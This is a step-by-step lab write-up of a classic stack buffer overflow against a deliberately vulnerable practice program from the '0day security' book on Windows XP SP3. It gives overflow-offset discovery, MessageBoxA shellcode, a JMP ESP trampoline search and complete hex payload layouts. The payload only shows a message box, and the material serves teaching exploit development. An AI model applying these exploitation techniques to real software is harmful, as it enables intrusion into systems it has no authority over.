Simple stack overflow
Test environment: win xp sp3 cn
Auxiliary environment: mac, pwntoosl, msf installed
Use the accompanying book files in 0day security: 0day\02 Stack Overflow Principles and Practice\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe
git clone https://github.com/jas502n/0day-security-software-vulnerability-analysis-technology.git
Program logic analysis
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) {<!-- --> int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } main() {<!-- --> int valid_flag=0; char password[1024]; FILE *fp; LoadLibrary("user32.dll");//prepare for messagebox if(!(fp=fopen("password.txt","rw + "))) {<!-- --> exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag) {<!-- --> printf("incorrect password!\\ "); } else {<!-- --> printf("Congratulation! You have passed the verification!\\ "); } fclose(fp); }
Read the content from the password.txt file and pass the read content into the verify_password function for comparison, but an overflow occurs when copying strcpy(buffer,password)
Confirm overflow length
Manually confirm the overflow length
IDA6.6 IDA.68 can be installed in win xp sp3 environment
Open the program using IDA
You can see that the distance between Dest and ebp is 0x30, which is 48 in decimal
48 plus sizeof(ebp width) = 48 + 4 = 52, the overflow length is 52
Debug confirmation overflow length
First install 32-bit windbg, then enter the windbg installation directory and execute windbg -I
to register windbg as the system’s default debugger.
Use pwntools tool to generate 100 characters
╰─ pwn cyclic 100 aaaabaaacaaadaaaeaaaaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Create a password.txt file in the same directory as 0day\02 Stack Overflow Principles and Practice\2_4_overflow_code_exec\Debug\stack_overflow_exec.exe
and write the generated characters
Double-click to execute stack_overflow_exec.exe
. Since the program crashes, the operating system will automatically start windbg to attach the program.
The information eip=6161616e
can be obtained from windbg, and then passed to the pwntools tool, the overflow length can be obtained as 52
╰─ pwn cyclic -l 0x6161616e 52
Simple, intuitive & but unstable utilization method
The overflow overwrites the return address of the verify_password
function, and causes the return address to jump to the first address of the buffer
variable in the verify_password
function to execute the shellcode. (The buffer is on the stack and the address may be unstable)
Get the buffer address and use it to overwrite the return address
Use IDA to open the stack_overflow_exec.exe
program and select windbg
Configure process options
Select the program and the directory where the program is located
Set a breakpoint in the verify_password
function and debug it
Debugging shows that the address of buffer
in Dest, which is the verify_password
function, is 0x12FAF0
Get the address of MessageBoxA for shellcode pop-up dialog box
There is no real MessageBox
function in the system, but will use MessageBoxA
(ASCII) or MessageBoxW
(Unicode)
Since the current windows xp sp3 has not randomized the dll address, you can directly obtain the address of MessageBoxA
and use it
Since the program itself loads user32.dl
through LoadLibrary("user32.dll")
, you can directly obtain the value of MessageBoxA
in the debugging window address
Double-click the user32.dll module to enter the function list of the module and find the address of MessageBoxA
MessageBoxA 77D507EA
You can also directly open user32.dll
through the Dependency walker
tool to obtain the address of MessageBoxA
MessageBoxA = 0x77D10000 + 0x407EA = 0x77D507EA
Construct shellcode-call MessageBoxA
First look at the function prototype of MessageBox
:
int MessageBox( hWnd, // handle to owner window lpText, // text in message box lpCaption, // message box title uType // message box style );
Where hWnd
and uType
are both NULL
, and the other two parameters are set to good-job
strings . The following is how to write the MeessageBox assembly call
xor ebx, ebx ; set ebx to 0 push ebx ; Use this 0 as the terminator of the "good-job" string "\0" push 0x626F6A2D push 0x646F6F67 ; Push the "good-job" string onto the stack mov eax, esp; At this time, esp is the first address of the "good-job" string, and the address of the string is saved in eax. push ebx ; uType ; fourth parameter NULL push eax ; lpCaption ; The third parameter string "good-job\0" push eax; lpText; second parameter string "good-job\0" push ebx ; hWnd ; first parameter NULL mov eax, 0x77D507EA; address of MessageBoxA call eax
Convert assembly to machine code 1 – using a debugger
Just throw an exe into OD or x64dbg, then press the space bar to copy and replace the above assembly code line by line.
You can get the machine code called by MessageBox
31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0
Use HxD to open an empty file and copy the above machine code into it.
Then pad 0x90 until it reaches 52 bytes (0x34)
Finally, fill in the buffer address 0x0012FAF0
Name the file password.txt and place it in the same directory as stack_overflow_exec.exe. Double-click to execute stack_overflow_exec.exe.
However, an error will be reported when exiting, and it will be automatically attached by windbg.
It can be seen that the shellcode is executed from the stack address 0x0012FAF0
. After the pop-up box is closed, the content in the stack continues to be executed as eip, resulting in an error. This will be fixed later.
Convert assembly to machine code 2-inline assembly
Use vc6.0 to create a C program and write the following content
#include <windows.h> int main() {<!-- --> HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{<!-- --> xor ebx, ebx pushebx push 0x626F6A2D push 0x646F6F67 mov eax, esp pushebx push eax push eax pushebx mov eax, 0x77D507EA call eax } }
After the compilation is successful, put the executable file into x64dbg, find the inline assembly code and copy it
Convert assembly to machine code 3-Online URL conversion
https://shell-storm.org/online/Online-Assembler-and-Disassembler/
JMP ESP
Fix error – not possible here, the stack will be destroyed
The idea is to call ExitProcess
directly after the shellcode is executed, and no error will be reported.
Here we still find the address of ExitProcess
in the same way as before.
ExitProcess 7C81CAFA
Add the code calling ExitProcess
in the previous assembly
xor ebx, ebx pushebx push 0x626F6A2D push 0x646F6F67 mov eax, esp pushebx push eax push eax pushebx mov eax, 0x77D507EA call eax pushebx mov eax, 0x7C81CAFA call eax
Entering the shellcode, you can see that the MessageBox
and ExitProcess
functions are called
The problem is that there are stack operations in the shellcode, which will overwrite the contents of the shellcode.
The problem is still not solved
What is JMP ESP
After the function ret
, the ESP
register always points to a fixed location, that is, the unit above the previous return address.
Then we can store the shellcode from this location, and then hijack the control flow to any jmp esp
instruction with a relatively fixed address in the memory.
(This technique was proposed by Dildog of Cult of the Dead Cow in 1998)
Where does JMP ESP machine code come from?
know first
- Libraries such as
kernel32.dll
anduser32.dll
are loaded by almost all processes - In windows xp sp3, the loading base address of these libraries is always the same
Get jmp esp in dll through code
//FF E0 JMP EAX //FF E1 JMP ECX //FF E2 JMP EDX //FF E3 JMP EBX //FF E4 JMP ESP //FF E5 JMP EBP //FF E6 JMP ESI //FF E7 JMP EDI //FF D0 CALL EAX //FF D1 CALL ECX //FF D2 CALL EDX //FF D3 CALL EBX //FF D4 CALL ESP //FF D5 CALL EBP //FF D6 CALL ESI //FF D7 CALL EDI #include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() {<!-- --> BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle){<!-- --> printf(" load dll error !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position + + ){<!-- --> try{<!-- --> if(ptr[position] == 0xFF & amp; & amp; ptr[position + 1] == 0xE4){<!-- --> //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\\ ",address); } } catch(...){<!-- --> int address = (int)ptr + position; printf("END OF 0x%x\\ ", address); done_flag = true; } } }
Get jmp esp in dll through msf
Here we use 0x77d29353
Deploying shellcode
The shellcode is roughly arranged like this
52 bytes + four bytes (jmp esp) + shellcode
It is arranged like this:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9 0 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 31 db 53 68 2d 6a 6f 62 68 67 6f 6f 64 89 e0 53 50 50 53 b8 ea 07 d5 77 ff d0 53 b8 fa ca 81 7c ff d0
JMP ESP optimization
The previous arrangement also had two drawbacks:
- Takes up a lot of space. It can be found that the original array is filled with useless
random data
- May destroy the stack frame of the previous function. If we hope to eventually return to the original program and continue running after hijacking the control flow, this arrangement undoubtedly makes it difficult
Therefore, it is hoped that improvements can be made to the layout to achieve three goals:
- Able to make full use of the original legal buffer
- Don’t let shellcode be destroyed by your own
push
operation - Do not destroy other stack frames extensively
Obtain the following optimization model
As above, through sub esp, Other effects); through
jmp esp-X
we cleverly moved the shellcode back to the legal buffer.
The approximate layout is as follows
shellcode ........ shellcode ebp (overwrite) ret (overwrite) (jmp esp) jmp esp-X
In addition, jmp esp-X
actually corresponds to:
mov eax, esp sub eax, 0x38; Why is it 0x38(56); The total length of shellcode + ebp + ret is 56 jmp eax
Patchwork bytecode - problematic
1-shellcode
xor ebx, ebx pushebx push 0x626F6A2D push 0x646F6F67 mov eax, esp pushebx push eax push eax pushebx mov eax, 0x77D507EA call eax pushebx mov eax, 0x7C81CAFA call eax
Convert assembly to bytecode via https://shell-storm.org/online/Online-Assembler-and-Disassembler
31 db 53 68 2d 6a 6f 62 68 67 6f 6f 64 89 e0 53 50 50 53 b8 ea 07 d5 77 ff d0 53 b8 fa ca 81 7c ff d0
2-jmp esp
53 93 d2 77
3-jmp esp-X
mov eax, esp sub eax, 0x38 jmp eax
Convert to
89 e0 83 e8 38 ff e0
Execute and find an error
Debugging, it looks like the shellcode is normal
But if you continue to execute, you will see that the stack operation in the shellcode overwrites the bytes in the shellcode.
Resolving errors
sub sp, 0x440; Extend stack space xor ebx, ebx pushebx push 0x626F6A2D push 0x646F6F67 mov eax, esp pushebx push eax push eax pushebx mov eax, 0x77D507EA call eax pushebx mov eax, 0x7C81CAFA call eax
Why use sub sp, 0x440
instead of sub esp, 0x440
sub sp, 0x440 The machine code is 66 81 ec 40 04 sub esp, 0x440 The machine code is 81 ec 40 04 00 00 ; There is 00 here, which will destroy the shellcode
The final shellcode is, no error will be reported
66 81 EC 40 04 31 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 89 E0 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 53 93 D2 77 89 E0 83 E8 38 FF E0
Reference
https://blog.wohin.me/posts/0day-chp03/